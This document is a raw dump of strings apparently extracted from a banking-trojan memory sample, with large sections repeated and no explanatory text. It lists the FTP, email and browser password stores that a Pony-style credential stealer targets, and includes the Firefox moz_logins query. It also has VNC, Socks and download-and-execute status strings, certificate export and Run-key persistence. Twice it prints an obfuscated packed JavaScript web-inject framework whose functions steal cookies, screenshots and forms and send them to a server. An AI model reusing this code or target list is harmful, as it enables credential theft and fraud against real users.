Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

{7BD47FDD-1028-4944-A268-024C76A61BA9}

{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{4E153850-602D-4819-B83D-3CCD0A1E7351}

{1DB12055-380D-432E-9763-74AF5EF609C7}

{1DB54A51-7DD5-412D-BFAE-04066B1F7E58}

{6BDA2D4D-43CE-4CEF-B412-5DC94F387B59}

{11166F2F-6DE1-4205-8360-3AB2448931C2}

{7B4F16B2-1959-4C21-97FE-6A7768C974CF}

{433D2A25-41C1-4D21-8ED6-4EEC2CFE2DF1}

{77101F80-23B8-43A9-AE7B-5CC95982109D}

\\.\pipe\{615F04F4-5F33-42AB-BE17-250A447B0979}

D{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}

{56E926DB-5D71-499E-8BBB-2E28568040CB}

U{4E153850-602D-4819-B83D-3CCD0A1E7351}

2FFC7DAE-2BDA-4ABF-A443-1DD264C72327

<!</<7<><[<

8 9(91999\9

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

%WinDir%\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

jqs.exe_1964_rwx_010B0000_00053000:

%Documents and Settings%\All Users\Application Data\WogaRdahz\WogaRdahz.dat

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

CertificateAuthority

%s.pfx

cookies.sqlite

cookies.sqlite-journal

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-WebKit-CSP

hXXps://

HTTP/1.1 200 OK

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

chrome.dll

127.0.0.1

DrWeb

McAfee.com

Doctor Web

Common Files\Doctor Web

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

#FV_%u

#FV_%s

pass.txt

cert.pfx

PFXImportCertStore

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

csrss.exe

smss.exe

wininit.exe

services.exe

svchost.exe

lsas.exe

lsm.exe

winlogon.exe

taskhost.exe

HttpEndRequestA

HttpEndRequestW

ADVAPI32.DLL

Init in Browser = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

#cert

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u-%u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

msvcrt.dll

%0.8X%0.8X%c

firefox.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

sqlite3_open

sqlite3_exec

sqlite3_close

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] Cmd need disconnect

ntdll.dll

gdiplus.dll

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfn

Dir #%u

<POP3_Password2

<SMTP_Password2

<IMAP_Password2

<HTTPMail_Password2

.oeaccount

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

Server.Port

Last Server Pass

Last Server Port

\sitemanager.xml

\recentservers.xml

\filezilla.xml

"password" : "

"password":"

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wisePTF.ini

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP File%u

Robo-FTP

SOFTWARE\%s\FTPServers

user.config

.duck

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u\SFTP

Keychain

Software\Nico Mak Computing\WinZip\FTP

Password

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Quick.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

Software\TurboFTP

\TurboFTP

addrbk.dat

quick.dat

Port

Login

PasswordType

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

FtpSite.xml

RushSite.xml

\FTPRush

bitkinex.ds

NDSites.ini

Software\LeechFTP

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

servers.xml

\FTPGetter

ESTdb2.dat

\Estsoft\ALFTP

QData.dat

SM.arch

FTP  .Link\shell\open\command

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

\FTPInfo

NovaFTP.db

\INSoftware\NovaFTP

\sites.xml

ftplast.osd

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

FTPCON

FTP CONTROL

FTPVoyager.ftp

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.Archive

SiteInfo.QFP

WinFTP

DeluxeFTP

sites.xml

Staff-FTP

sites.ini

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPort

BlazeFtp

site.dat

\BlazeFtp

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

FTPNow

FTP Now

FTPShell

ftpshell.fsi

ftpsite.ini

FTPList.db

My FTP

project.ini

Mailbox.ini

FTP Navigator

FTP Commander

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

FtpPort

Software\Cryer\WebSitePublisher

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

_FtpPassword

FtpServer

FtpUserName

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PassWord

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

FTP destination password

FTP destination server

FTP destination port

FTP destination user

FTP destination catalog

FTP profiles

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

accounts.ini

sites.dat

\LeapWare\LeapFTP

unleap.exe

leapftp

FtpIniName

Software\Ghisler\Windows Commander

wcx_PTF.ini

Server.Pass

Server.Host

Server.User

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3_prepare

sqlite3_step

sqlite3_column_bytes

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

signons.sqlite

\profiles.ini

PathToExe

\Mozilla\Firefox\

Firefox

Software\Mozilla

fireFTPsites.dat

\Mozilla\SeaMonkey\

SeaMonkey

\Mozilla\Profiles\

Mozilla

password 51:b:

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTPMail Password

SMTP Password

{X-X-X-XX-XXXXXX}

inetcomm server passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

USER32.DLL

GetKeyboardState

GetKeyState

?WINMM.DLL

?DSOUND.DLL

ZwConnectPort

NTDLL.DLL

[VNC] PROCESS=%s

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

SysShadow

Chrome_WidgetWin_1

Chrome_WidgetWin_0

d3d10_1.dll

d3d10_1core.dll

d3d10.dll

d3d10core.dll

d2d1.dll

OPENGL32.dll

d3d9.dll

d3d11.dll

Dxtrans.dll

WinExec

KERNEL32.dll

USER32.dll

GDI32.dll

RegCloseKey

RegNotifyChangeKeyValue

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

SHDeleteKeyA

SHLWAPI.dll

DeleteUrlCacheEntry

WININET.dll

WS2_32.dll

MSVCRT.dll

IPHLPAPI.DLL

AVIFIL32.dll

GetWindowsDirectoryW

CallNamedPipeA

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

CreateNamedPipeA

GetWindowsDirectoryA

EnumWindows

ActivateKeyboardLayout

SetViewportOrgEx

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegOpenKeyExA

CryptImportKey

CryptDestroyKey

RegOpenKeyA

ole32.dll

OLEAUT32.dll

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

NETAPI32.dll

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

HttpAddRequestHeadersA

FindCloseUrlCache

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

COMDLG32.dll

WININET.DLL

<!</<7<><[<

8 9(91999\9

.pdata

@.reloc

[%s - X64 EQ PID: %u TID: %u]

\SysWOW64\regsvr32.exe

[Pony] Fail create process: %u

[PONY] Fail inject to process: %u

echrome.dll

iexplore.exe

chrome.exe

\System32\KERNEL32.DLL

\System32\kernelbase.dll

\ThemeApiPort

jqs.exe_1964_rwx_01150000_0007B000:

.text

`.rdata

@.data

.reloc

HHt.HHt

More information: hXXp://VVV.ibsensoftware.com/

8HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestW

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExW

HttpSendRequestW

wininet.dll

rapport

ieframe.dll

NSPR4.DLL

nss3.dll

KERNEL32.DLL

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

.rdata

@http

SELECT url FROM moz_places

places.sqlite

ie/history.txt

ff/history.txt

ff/%u/places.sqlite

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a))) ((c=c%a)>35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '  

